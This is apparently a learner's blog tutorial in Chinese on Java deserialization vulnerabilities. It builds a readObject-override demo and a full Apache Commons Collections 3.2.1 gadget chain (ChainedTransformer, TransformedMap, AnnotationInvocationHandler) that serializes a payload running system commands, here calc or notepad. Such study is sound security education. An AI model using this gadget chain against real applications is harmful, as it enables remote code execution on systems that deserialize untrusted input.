(渗透学习)理解java反序列化漏洞原理---层序渐进

2023-11-01

没真正学过java,对很多概念理解的不清晰。所以下面所有都是参考资料结合我自己的理解,可能存在错误。

1、为什么要序列化?

因为只有字节数据才能进行存储和传输,所以为了使对象(如class类)能够存储、传输,就需要将对象转成字节的形式

存储:把对象的字节序列永久地保存到硬盘上,通常存放在一个文件中;或者不需要的时候就序列化对象后的数据存入磁盘,需要的时候就反序列还原对象进行调用,如cookie

传输:在网络上传送对象的字节序列,当A想要用B的对象时,那么需要将A对象进行序列化传输给B,B接收之后进行反序列化还原调用,

2、如何序列化和反序列化?

要求:Externalizable接口继承自Serializable接口,只有实现了Serializable和Externalizable接口类的对象才能被序列化,否则抛出异常,如:

class MyObject implements Serializable{}

对象MyObject实现了Serializable接口,可以序列化

序列化:调用ObjectOutputStream类的writeObject方法进行序列化,将对象转成字节,如:

String myObj = "imz";
//打开一个存储序列化数据的文件obj
FileOutputStream fos = new FileOutputStream("object");
//实例ObjectOutputStream对象,并包装一个文件输入流fos,使对象序列化之后存入object文件
ObjectOutputStream os = new ObjectOutputStream(fos);
//将myObj对象序列化,并写入object文件
os.writeObject(myObj);
os.close();

序列化后的数据,存储在object文件中

反序列化:调用ObjectInputStream类的readObject方法,将一串序列化数据通过反序列化还原

//读取object文件中的序列化数据
FileInputStream fis = new FileInputStream("object");
//实例化ObjectInputStream,并传入object中的序列化数据
ObjectInputStream ois = new ObjectInputStream(fis);
//调用readObject方法,将传入的序列化数据进行反序列化还原
Object flag = ois.readObject();
//打印还原之后的对象
System.out.println(flag);
ois.close();

执行之后,打印出原对象,说明反序列化成功

3、序列化数据的特征

java序列化数据16进制:

前两个字节总是以ac ed开头

之后的两个字节是版本号,一般情况是00 05

如果经过base64编码,则开头总是:rO0AB

base64编码后:

在测试过程中,可以通过观察这个序列来确定是java序列化的数据

4、为什么会产生反序列化漏洞

(1)初步理解反序列化漏洞产生 ——— 案例1

  ① 当程序需要接收来自外部的对象时,该对象时经过序列化处理的,那么接收之后就需要进行反序列化处理

  ② 当进行反序列化时就会调用ObjectInputStream类的readObject方法

  ③ 由于当一个类的方法被重写时,就会优先调用重写后的方法

  ④ 如果传入的序列化数据重写了readObject方法,并且重写之后的方法包含恶意的操作,那么就会执行方法里面的代码,构成恶意攻击

  注意:这只是其中的一个案例,类似于PHP反序列化的魔术方法触发。漏洞的危害程度由漏洞自身而定,如远程代码执行

import java.io.*;


class test{
    public static void main(String[] args) throws Exception{
        //定义myObj对象,该对象重新了readObject方法,并调用系统命令打开记事本
        MyObject myObj = new MyObject();
        //序列化myObj对象,并写入object文件
        FileOutputStream fos = new FileOutputStream("object");
        ObjectOutputStream os = new ObjectOutputStream(fos);
        os.writeObject(myObj);
        os.close();
        
        //从object文件中读取数据,并反序列化还原myObj对象
        FileInputStream fis = new FileInputStream("object");
        ObjectInputStream ois = new ObjectInputStream(fis);
        //由于myObj对象重写了readObject方法,所以在调用该方法反序列化时,就触发了myObj对象里面的readObject方法,所以执行了exec命令
        ois.readObject();
        ois.close();
    }
}

class MyObject implements Serializable{
    public String flag;
    //重写readObject()方法
    private void readObject(java.io.ObjectInputStream flag) throws IOException, ClassNotFoundException{
        //执行默认的readObject()方法
        flag.defaultReadObject();
        //执行打开计算器程序命令
        System.out.println("imz");
        Runtime.getRuntime().exec("notepad.exe");
    }
}

成功执行Myobject对象的readObject方法里面的代码

(2)进一步理解反序列化漏洞产生 —— 案例2

漏洞复现:commons-collections反序列化漏洞-----引起远程代码执行

影响版本: <=3.2.1 

复现环境搭建:

(1)官方下载3.2.2版本:https://commons.apache.org/proper/commons-collections/download_collections.cgi

(2)导入项目,参考:

https://blog.csdn.net/yang1234567898/article/details/122260092

漏洞由来:

参考官方的安全报告:Apache Commons Collections 库在“functor”包中包含各种可序列化和使用反射的类,这可以通过将特制对象注入到从不受信任的来源反序列化 java 对象并在其类路径中具有 Apache Commons Collections 库并且不执行任何类型的输入验证的应用程序来进行远程代码执行攻击

也就是说漏洞产生于functor包,攻击者可以构造恶意的序列化java对象,通过反序列化注入接口使程序进行远程代码执行。

注意:由于官方在3.2.2版本对该漏洞进行了修复,加入了反序列化安全检测的方法,检测系统属性“org.apache.commons.collections.enableUnsafeSerialization”,默认为false,位于:org.apache.commons.collections.functors.FunctorUtils类中的checkUnsafeSerialization方法

 默认情况下要修改系统属性org.apache.commons.collections.enableUnsafeSerialization为true,否则将会抛出异常

System.setProperty("org.apache.commons.collections.enableUnsafeSerialization", "true");

漏洞原理分析:

1、分析思路

(1)首先,找java反序列化漏洞肯定不是闲着没事做,而是为了执行命令从靶机中获取想要的东西,而要想执行命令就需要找到一个类(相当于PHP中的魔法方法),就叫魔法类吧,该类的三个要求

① 该类是可序列化的,也就是实现了Serializable或Externalizable接口,因为只有实现了该接口才可被序列化

② 该类中存在可控变量,因为变量可控才可传入任意构造的特殊值

③通过传入特殊构造的值,能够实现执行远程代码,如Runtinme.getRuntiem().exec()

刚好在commons-collections包中,就有一个InvokerTransformer类,实现了Serializable接口和Transformer接口(符合要求①),它通过java的反射机制进行传值,最终会调用执行传入的任意方法(符合要求②),最后通过传入构造的值,能够触发Runtinme.getRuntiem().exec()执行系统命令(符合要求③)

位于:org.apache.commons.collections.functors.InvokerTransformer,代码如下:

 //InvokerTransformer类的构造方法,java中,类的构造方法的名字必须与定义他的类名完全相同
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
    this.iMethodName = methodName;
    this.iParamTypes = paramTypes;
    this.iArgs = args;
}


public Object transform(Object input) {
        if (input == null) {
            return null;
        } else {
            try {
                //获取input的对象为cls
                Class cls = input.getClass();
                //getMethod获取cls对象的所有方法method
                Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
                //调用input对象中获取到的所有方法method,iArgs为对应方法的参数,并将该方法名作为对象返回
                return method.invoke(input, this.iArgs);
            } catch (NoSuchMethodException var4) {
                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
            } catch (IllegalAccessException var5) {
                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
            } catch (InvocationTargetException var6) {
                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var6);
            }
        }
    }

InvokerTransformer类的构造方法,传入了三个参数,并且是可控的

分别是:

String methodName //方法名

Class[] paramTypes //顺序获取到的方法形参类型

Object[] args  //所有参数

 然后重写了Transformer接口的transform方法:其中:

//input.getClass() 返回class类型的对象,其中的class是广泛的含义

可以是int、string、class...如:

input ===> String imz;返回的是String类型的imz对象

input ===> Class imz;返回的是Class类型的imz对象

 //Method Class.getMethod()的作用是获得对象所声明的公开方法,

第一个参数是方法名

第二个参数是按声明顺序标识该方法的形参类型

//method.invoke(class,args)就是调用Method类代表的方法

执行class对象的所有public方法method并将结果作为对象返回,args为对应方法的参数

核心原理:

1、实现实例化对象时通过构造函数传入方法名、方法形参类型、方法参数值

如 InvokerTransformer it = new InvokerTransformer("getFlag", new Class[] { String.class, Class[].class },new Object[] {"imz",new Object[0]})

方法名为getFlag、有一个参数imz、该参数类型是String

其中传入参数的含义:

new Class[] { String.class, Class[].class }  创建一个Class类型的数组,并将String.class赋值给Class[0].class

Object[] b=new Object[]{new String[0]} 创建一个Object类型的数组,并将new String[0]作为初始值赋给Object[0]

2、重写了Transformer接口的transform方法,通过transform方法获取input类中的方法

首先,传入一个对象input,并通过getMethod获取该对象的public方法,方法名为构造函数传入的this.methodName和参数类型this.iParamTypes,然后利用invoke反射调用获取到的方法,参数也为传入的参数this.iArgs

举个例子:

public class Test {
    public static void main(String[] args){
        InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class},new String[]{"calc.exe"});
        invokerTransformer.transform(Runtime.getRuntime());
    }
}

可以看到,执行以上代码,调用exec打开了计算器,那又是为什么?

简单理解,

(1)通过new一个InvokerTransformer对象并传入一个exec方法,参数是calc.exe,参数类型是String

(2)调用transform方法,传入的是Runtime.getRuntime()对象,transform就会通过Runtime.getRuntime()执行exec方法

也就是最后执行了Runtime.getRuntime().exec("calc.exe")

碰壁路程:

分析到这里,我遇到了一个不是问题的问题,就是将实例化一个InvokerTransformer类并直接写入到第一个案例中的MyObject类中,然后将MyObject类实例再进行序列化,最后反序列化不也可以触发代码执行吗?答案是肯定的,但显然这是一个误区-----而且是大误区

package unserialize;
import org.apache.commons.collections.functors.InvokerTransformer;

import java.io.*;


class test{
    public static void main(String[] args) throws Exception{
        //定义myObj对象,该对象重新了readObject方法,并调用系统命令打开记事本
        MyObject myObj = new MyObject();
        //序列化myObj对象
        FileOutputStream fos = new FileOutputStream("object");
        ObjectOutputStream os = new ObjectOutputStream(fos);
        //writeObject()方法将myObj对象写入object文件
        os.writeObject(myObj);
        os.close();

        //从文件中反序列化obj对象
        FileInputStream fis = new FileInputStream("object");
        ObjectInputStream ois = new ObjectInputStream(fis);
        ois.readObject();
        ois.close();
    }
}

class MyObject implements Serializable{
    public String flag;
    //重写readObject()方法
    private void readObject(ObjectInputStream flag) throws IOException, ClassNotFoundException{
        //执行默认的readObject()方法
        flag.defaultReadObject();
        //执行打开计算器程序命令
        System.out.println("imz");
        InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class},new String[]{"calc.exe"});
        invokerTransformer.transform(Runtime.getRuntime());
    }
}

 再然后我又在想,这是不是有点多此一举了,为啥要去利用InvokerTransformer类去触发呢?为什么不直接调用Runtime.getRuntime().exec("calc"),难道那些大佬都喜欢复杂吗?或者安全狗会过滤readObject?

终于,我想通了!!! 

首先,案例1能够触发的条件是:

① 目标程序有一个MyObject类,并且该类实现了serializable接口

② 其次,重写了readObject方法,类中调用了Runtime.getRuntime.exec(cmd)

③ 最后,cmd变量可控

只有这样,攻击者才能通过实例一个MyObject方法,传入cmd,最后经过靶机的反序列化接收接口进行序列化数据注入,实现任意代码执行。否则,谁能知道你的MyObject是啥玩意,cmd又是啥玩意

这时候就豁然开朗了,也就是说,找到了InvokerTransformer类,条件仍然欠缺,因为在下面的代码中,实例了一个Runtime.getRuntime()对象,但是没有实现serializable接口的,也就是不能被序列化,这里也碰了下壁,查看了大佬的文章才注意到

参考:https://www.zhihu.com/tardis/sogou/art/389252470

InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class},new String[]{"calc.exe"});
invokerTransformer.transform(Runtime.getRuntime());

(2)找到了魔法类InvokerTransformer,但如上所说,由于Runtime没有实现serializable接口,不能被序列化,所以不能够序列化,所以就需要构造一个能够被序列化的Runtime,可利用下面的代码实现

Transformer[] transformers = new Transformer[] {
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class },
         new Object[] { "getRuntime", new Class[0] }), 
    new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class },
        new Object[] { null, new Object[0] }),
    new InvokerTransformer("exec", new Class[] { String.class }, new Object[]{"calc"}) };
Transformer transformedChain = new ChainedTransformer(transformers);

先了解一下所涉及到的类,再分析为什么要这样做

Transformer接口,可以看到该接口使调用了InvokerTransformer类的transform方法,而由于InvokerTransformer类实现了serializable接口,所以可以被序列化 

 

 ConstantTransformer类,也是实现了serializable接口,可以被序列化

 ChainedTransformer类,同样实现了serializable接口,所以都是可被序列化的,也就是说,采用这些类去生成的Runtime.getRuntime().exec("cmd")是可以被序列化的

以上接口和类的作用说明:

Transformer 因为该接口调用了InvokerTransformer类的transform方法,所以是通过反射机制生成并返回一个对象

ConstantTransformer 把一个对象转化为常量,并返回。

如ConstantTransformer(Runtime.class) 创建一个Runtime实例并返回

InvokerTransformer  

ChainedTransformer 为链式的Transformer,会挨个执行我们定义Transformer的transform方法

下面是ChainedTransformer类的成员方法transform,可以看到,会逐个调用Transformers[i].transform方法,最终生成一个对象并返回

分析生成可序列化的Runtime.getRuntime().exec("cmd")对象的代码:

首先,创建每个transformer实例,共4个transformer并将所有实例存入transformers[]数组中

然后就是最重要的一步,创建一个链式ChainedTransformer实例,用于链式调用transformers[]数组中所有的transformer

Transformer transformer = new ChainedTransformer(transformers);

什么是链式调用?

参考:https://blog.csdn.net/dajian35/article/details/68957670/

用通俗的话讲,我的理解是,举个例子:

当需要购买生活用品(包括牙膏、牙刷、洗发水、沐浴露.....)

非链式调用:先去商店买了牙膏带回去,然后再继续回去商店购买其他生活用品

链式调用:去了商店一次性购买所以需要的东西,装在同一个袋子里再一起带回去,降低了复杂度

而在程序中,链式调用的好处就是降低了代码的复杂度,提高了执行效率,用将它们连在一起,这个就相当于装所有生活用品的一个袋子

当链式调用transformers[i]时:

第一步:transfromers[1]返回Runtime,相当于Runtime.getClass()

第二步:transfromers[2]返回get.Methon(getRuntime(),String)

第三步:transfromers[3]返回invoke(null,null)

第四步:transfromers[4]返回exec("cmd")

最终将它们装在一起:Runtime.get.Methon(getRuntime(),String).invoke(null,null).exec("cmd")

这就跟魔术类InvokerTransformer的transform实现方法一样,将Runtime作为input,通过反射机制执行了exec方法,将之拆分便于理解:

Class rt = Runtime.getClass();

Method method = rt.getMethod(getRuntime(),String)

method.invoke(Runtime,"exec('cmd')")

所以最终又回到了InvokerTransformer的原理上

(3)接下来就是考虑如何触发执行cmd命令了,因为到这只是创建了链式调用实例transformedChain,还需要找到如何触发transformedChain

Map类:类似于python的字典,是以键值对的形式存储的

Map<String, Object> ===> 代表这是一个键key为String类型,值value是对象Object

在common-collections中,有个实现了Serialiazble的TransformedMap类,其中有个方法decorate,用于封装Transformer

decorate(Map map, Transformer keyTransformer, Transformer valueTransformer);

decorate方法是将Transformer类型的键值封装到一个Map中,上一步创建的transformedChain实例刚好就是Transformer类型。所以它可以接收transformedChain实例

也就是:

//将transformedChain封装到map中
Map transformedMap = TransformedMap.decorate(map, null, transformedChain); 

封装过程调用了一下三个方法:

可以看到,最终调用了transform方法封装transformedChain实例,从未离开过的transform,之前已经分析了它会导致自动执行任意函数,所以只要触发transformValue方法就可以使transformedChain也被触发。只要改变TransformedMap封装的值就可以触发该方法。

引用一下 https://www.cnblogs.com/ssooking/p/5875215.html 总结的知识点

Map是java中的接口,Map.Entry是Map的一个内部接口。

Map提供了一些常用方法,如keySet()、entrySet()等方法。

keySet()方法返回值是Map中key值的集合; entrySet()的返回值也是返回一个Set集合,此集合的类型为Map.Entry。

Map.Entry是Map声明的一个内部接口,此接口为泛型,定义为Entry<K,V>。它表示Map中的一个实体(一个key-value对)。 接口中有getKey(),getValue方法,可以用来对集合中的元素进行修改

所以可以利用MapEntry的setValue()函数对TransformedMap中的键值进行修改,就可以触发transformedChain实例了。

测试:

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;

public class collection_deserialization {
        public static void main(String[] args) {
            //构建链式调用的数组transformers[]
            final Transformer[] transformers = new Transformer[] {
                    new ConstantTransformer(Runtime.class),
                    new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class },
                            new Object[] { "getRuntime", new Class[0] }),
                    new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class },
                            new Object[] { null, null }),
                    new InvokerTransformer("exec", new Class[] { String.class }, new Object[]{"notepad"}) };
            //创建链式调用实例transformerChain
            Transformer transformedChain = new ChainedTransformer(transformers);
            //创建用于封装transformerChain的map
            Map<String, Object> map = new HashMap<String, Object>();
            map.put("key", "value");
            //将transformerChain封装到map的值value中
            Map<String, Object> transformedMap = TransformedMap.decorate(map, null, transformedChain);
            //获取transformedMap的所有键值对
            for (Map.Entry<String, Object> entry : transformedMap.entrySet()) {
                System.out.println(entry);
                //对transformedMap的value进行替换,触发transformedChain
                entry.setValue("imz");
                System.out.println(entry);
            }
        }
    }

(4)通过利用setValue()修改Map键值就可以触发transformedChain,所以现在还需要找到一个类重写了readObject方法,并且调用setValue()对Map的键值进行替换。

漏洞原理流程图:

想要让靶机优先调用重写之后的readObject,就需要在payload中实例化一个类,其中该类需满足以下几点:

① 重写了readObject方法

② readObject调用了setvalue方法修改Map的键值

③ 并且这个Map变量是可控的

AnnotationInvocationHandler类刚好满足:这个类是jdk自带的(网上说版本需要小于1.7),我试了官方下载的1.6-1.8都不成功,应该是修复了

Map<String, Object> transformedMap = TransformedMap.decorate(map, null, transformedChain);
//forName获取对象名,同getClass(),用forName是因为该方法实现了serializable接口,而getClass未实现
Class aih = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
//Class类的getConstructor()方法,无论是否设置setAccessible(),都不可获取到类的私有构造器.
//Class类的getDeclaredConstructor()方法,可获取到类的私有构造器(包括带有其他修饰符的构造器),但在使用private的构造器时,必须设置setAccessible()为true,才可以获取并操作该Constructor对象。
//所以,以后在用反射创建一个私有化构造器类的对象时,务必要用getDeclaredConstructor()方法并设置构造器可访问setAccessible(true)
Constructor ctr = aih.getDeclaredConstructor(Class.class, Map.class);
ctr.setAccessible(true);
/*newInstance创建实例对象,
同new的区别:
newInstance: 方法。只能调用无参构造。
new: 关键字,能调用任何public构造。*/
Object instance = ctr.newInstance(Target.class, transformedMap );
//序列化最终payload
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("object"));
out.writeObject(instance);

就这样,这玩意没java开发经验是真的废时间,查资料都搞了3天

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

(渗透学习)理解java反序列化漏洞原理---层序渐进 的相关文章

  • 添加动态数量的监听器(Spring JMS)

    我需要添加多个侦听器 如中所述application properties文件 就像下面这样 InTopics Sample QUT4 Sample T05 Sample T01 Sample JT7 注意 这个数字可以多一些 也可以少一些
  • 对话框上的 EditText 不返回任何文本

    我太累了 找不到错误 我没有发现任何错误 但我没有从 editText 收到任何文本 请看下面的代码 活动密码 xml
  • 无法使用maven编译java项目

    我正在尝试在 java 16 0 1 上使用 maven 构建 IntelliJ 项目 但它无法编译我的项目 尽管 IntelliJ 能够成功完成 在此之前 我使用maven编译了一个java 15项目 但我决定将所有内容更新到16 0 1
  • Java:使用 HttpURLConnection 的 HTTP PUT

    如何执行 HTTP PUT 我正在使用的类似乎认为它正在执行 PUT 但端点将其视为我执行了 GET 我做错了什么吗 URL url new URL https HttpURLConnection conn HttpURLConnectio
  • 使用 RecyclerView 适配器在运行时更改布局屏幕

    我有两个布局文件 如下所示 如果列表中存在数据 则我显示此布局 当列表为空时 我会显示此布局 现在我想在运行时更改布局 当用户从列表中删除最后一项时 我想将布局更改为第二张图片中显示的 空购物车布局 In getItemCount Recy
  • 主线程如何在该线程之前运行?

    我有以下代码 public class Derived implements Runnable private int num public synchronized void setA int num try Thread sleep 1
  • 如何在android中设置多个闹钟,在这种情况下最后一个闹钟会覆盖以前的闹钟

    我正在开发一个Android应用程序 用户可以在其中设置提醒时间 但我在以下代码中遇到一个问题 即最后一个警报会覆盖之前的所有警报 MainActivity java public void setreminders DatabaseHan
  • 如何获取 WebElement 的父级[重复]

    这个问题在这里已经有答案了 我试过了 private WebElement getParent final WebElement webElement return webElement findElement By xpath 但我得到
  • Java 数组的最大维数

    出于好奇 在 Java 中数组可以有多少维 爪哇language不限制维数 但是JavaVM规范将维度数限制为 255 例如 以下代码将无法编译 class Main public static void main String args
  • 无法加载或查找主类,可以在命令行中使用,但不能在 IDE 中使用[重复]

    这个问题在这里已经有答案了 在将其标记为重复之前 请先听我说完 我正在尝试使用 gradle 导入一个 java 项目 功能齐全 适用于所有其他笔记本电脑 没有问题 我的项目 100 正常运行 适用于所有其他笔记本电脑 当我的笔记本电脑被重
  • 计算日期之间的天数差异

    在我的代码中 日期之间的差异是错误的 因为它应该是 38 天而不是 8 天 我该如何修复 package random04diferencadata import java text ParseException import java t
  • Java 收集返回顶级项目的映射的嵌套流

    我有以下模型 class Item String name List
  • Cloudfoundry:如何组合两个运行时

    cloundfoundry 有没有办法结合两个运行时环境 我正在将 NodeJS 应用程序部署到 IBM Bluemix 现在 我还希望能够执行独立的 jar 文件 但应用程序失败 APP 0 bin sh 1 java not found
  • 解析输入,除了 System.in.read() 之外不使用任何东西

    我很难找到具体的细节System in read 有效 也许有人可以帮助我 似乎扫描仪会更好 但我不允许使用它 我被分配了一个任务 我应该以 Boolean Operator Boolean 的形式读取控制台用户输入 例如T F 或 T T
  • 为什么java中的for-each循环中需要声明变量

    for 每个循环的通常形式是这样的 for Foo bar bars bar doThings 但如果我想保留 bar 直到循环结束 我可以not使用 foreach 循环 Foo bar null Syntax error on toke
  • Linux 上有关 getBounds() 和 setBounds() 的 bug_id=4806603 的解决方法?

    在 Linux 平台上 Frame getBounds 和 Frame setBounds 的工作方式不一致 这在 2003 年就已经有报道了 请参见此处 http bugs java com bugdatabase view bug do
  • 将图像添加到自定义 AlertDialog

    我制作了一个 AlertDialog 让用户可以从我显示的 4 个选项中选择一个 前 3 个让他们在单击号码时直接拨打号码 第 4 个显示不同的视图 现在看起来是这样的 由于第四个选项的目的是不同的任务 我想让它看起来不同 因为用户可能会感
  • JVM:是否可以操作帧堆栈?

    假设我需要执行N同一线程中的任务 这些任务有时可能需要来自外部存储的一些值 我事先不知道哪个任务可能需要这样的值以及何时 获取速度要快得多M价值观是一次性的而不是相同的M值在M查询外部存储 注意我不能指望任务本身进行合作 它们只不过是 ja
  • 挂钩 Eclipse 构建过程吗?

    我希望在 Eclipse 中按下构建按钮时能够运行一个简单的 Java 程序 目前 当我单击 构建 时 它会运行一些 JRebel 日志记录代码 我有一个程序可以解析 JRebel 日志文件并将统计信息存储在数据库中 是否可以编写一个插件或
  • 在哪里存储 Java 的 .properties 文件?

    The Java教程 http download oracle com javase tutorial essential environment properties htmlon using Properties 讨论如何使用 Prop

随机推荐

  • pbft为什么需要2f+1

    将阵营分为两拨 好节点阵营 坏节点阵营 现在坏节点阵营想要误导好节点 让其误以为已经有足够人数发出了投票 并且发生分歧 如何做 假设最极端情况 好节点被等分为两拨A B 坏节点加上任意一个阵营的人数都能达到足够人数达成投票 那坏节点就可以发
  • 法律逻辑学

    法律与逻辑的关系 1 法学离不开逻辑 逻辑是法学的基础 无论立法 司法 法治的实现 还是法学研究 法律教学都离不开逻辑 理性思维与非理性思维的最根本区别是思维是否具有逻辑性 思维逻辑性 就是思维活动遵循逻辑规律 正确地运用概念 恰当地做出判
  • linux echo

    linux echo功能说明 显示文字 语 法 echo ne 字符串 或 echo help version 补充说明 echo会将输入的字符串送往标准输出 输出的字符串间以空白字符隔开 并在最后加上换行号 参 数 n 不要在最后自动换行
  • 微信小程序自定义车牌输入组件(结合Weui)

    文章目录 概要 描述 效果 组件代码 引入 概要 我们都知道车牌是有一定规律的 本文实现了微信小程序中实现车牌输入功能 具有一定的参考价值 感兴趣的小伙伴们可以参考一下 描述 近期做了一个和车有关的小程序项目 有车肯定就有车牌 我们都知道车
  • 痞子衡嵌入式:盘点国内车规级MCU厂商

    大家好 我是痞子衡 是正经搞技术的痞子 今天痞子衡给大家介绍的是国内车规级MCU厂商及其产品 在汽车电子领域 MCU的应用非常广泛 大到车身控制与动力总成 小到雨刷车窗等控制单元 都离不开MCU的身影 但汽车领域产品必须要是高可靠 高安全的
  • L1-058 6翻了 (15 分)

    6翻了 思维错误原因以及正确思路的来源 确实是一趟循环遍历下来 但是对于 6 们的处理不太到位 单纯的用一次的if else 只是单纯的对字符串中每一个字符做处理 而我们这里需要统计连在一起的 6 们的个数 以及将他们整体替换掉 也就是说此
  • Dream------Hadoop--FSDataInputStream和FSDataOutputStream

    一 FSDataInputStream FileSystem中的open 方法实际上返回的是一个FSDataInputStream 而不是标准的java io类 这个类是java io DataInputStream 的一个子类 支持随机访
  • 1699 个词汇 的 计算机英语

    file n 文件 v 保存文件 command n 命令 指令 use v 使用 用途 program n 程序 line n 数据 程序 行 线路 display vt 显示 显示器 set v 设置 n 集合 key n 键 关键字
  • LayUi之树形结构的详解(附有全案例代码)

    Welcome Huihui s Code World 接下来看看由辉辉所写的关于LayUi的相关操作吧 目录 Welcome Huihui s Code World 一 什么是树形结构 二 树形结构在什么时候使用 常见使用场景 三 怎么完
  • mac 命令行 复制目录_从命令行复制目录

    mac 命令行 复制目录 Copying a directory for the sake of backup is something I do often especially when I m trying to figure out
  • 把token放入请求头

    1 jq 2 vue js 转载于 https www cnblogs com xiaobiaomei p 10917331 html
  • Python篇----Requests获取网页源码(爬虫基础)

    1 下载与安装 见其他教程 2 Requsts简介 Requests is an Apache2 Licensed HTTP library written inPython for human beings Python s standa
  • SQLServer查看各个表大小

    SQLServer查看各个表大小 SQLServer查看各个表大小 declare id int declare type character 2 declare pages int declare dbname sysname decla
  • Day83-面试前,先自己模拟下这 10 个问题

    不管是应届生还是社招生 相信你都经历过面试的摧残 面对咄咄逼人的面试官 面对随处可见的问题陷阱 我们应该如何面对 看完这边文章 相信你一定会有收获 Q1 请你先自我介绍下 回答技巧 回答尽量简短 控制在1 2分钟内 先简单的介绍一下自己 说
  • OAuth使用教程(一):初识OAuth

    一 OAuth介绍 OAuth 开放授权 是一个开放标准 允许用户授权第三方移动应用访问他们存储在另外的服务提供者上的信息 而不需要将用户名和密码提供给第三方移动应用或分享他们数据的所有内容 OAuth允许用户提供一个令牌给第三方网站 一个
  • mmdetection3d 源码学习 mvxnet(多模态融合)

    mmdetection3d 源码学习 mvxnet 多模态融合 配置文件 dv mvx fpn second secfpn adamw 2x8 80e kitti 3d 3class py 模型 model settings voxel s
  • 餐饮便利店服装店线下零售场景都有刷脸支付需求

    此前 支付宝已经开始打通江浙沪数个城市之间的二维码乘车 前几天也在北欧促成了两大移动支付APP的互通 如今刷脸支付还未普及 但是刷脸支付的前景可谓一片大好 未来包括超市 便利店 药房 服装店等等的众多线下零售场景都会有刷脸支付的需求 常见蜻
  • MySQL之Innodb锁机制:Next-Key Lock 浅谈

    阅读 InnoDB存储引擎 第六章涉及锁的三种算法 整理结合转载文档 https www cnblogs com zhoujinyi p 3435982 html 数据库使用锁是为了支持更好的并发 提供数据的完整性和一致性 InnoDB是一
  • 6个步骤,告诉你如何用树莓派和机器学习DIY一个车牌识别器!(附详细分析)...

    作者 Robert Lucian Chiriac 翻译 天道酬勤 编辑 Carol 出品 AI科技大本营 ID rgznai100 几个月前 作者开始考虑让汽车能够具备检测和识别物体的能力 他很喜欢这个主意 因为已经见识到了特斯拉的能力 并
  • (渗透学习)理解java反序列化漏洞原理---层序渐进

    没真正学过java 对很多概念理解的不清晰 所以下面所有都是参考资料结合我自己的理解 可能存在错误 1 为什么要序列化 因为只有字节数据才能进行存储和传输 所以为了使对象 如class类 能够存储 传输 就需要将对象转成字节的形式 存储 把